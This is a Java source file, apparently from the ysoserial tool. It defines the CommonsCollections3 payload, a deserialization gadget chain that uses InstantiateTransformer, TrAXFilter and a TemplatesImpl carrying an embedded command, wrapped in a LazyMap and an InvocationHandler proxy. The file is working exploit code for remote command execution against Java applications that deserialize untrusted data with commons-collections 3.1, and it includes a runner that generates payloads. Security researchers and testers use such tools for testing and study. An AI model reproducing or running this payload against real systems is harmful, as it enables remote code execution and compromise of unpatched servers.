package ysoserial.payloads;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
import javax.xml.transform.Templates;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
/*
* Variation on CommonsCollections1 that uses InstantiateTransformer instead of
* InvokerTransformer.
*/
@SuppressWarnings({"rawtypes", "unchecked", "restriction"})
@Dependencies({"commons-collections:commons-collections:3.1"})
@PayloadTest ( precondition = "isApplicableJavaVersion")
public class CommonsCollections3 extends PayloadRunner implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
Object templatesImpl = Gadgets.createTemplatesImpl(command);
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { templatesImpl } )};
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return handler;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections3.class, args);
}
public static boolean isApplicableJavaVersion() {
return JavaVersion.isAnnInvHUniversalMethodImpl();
}
}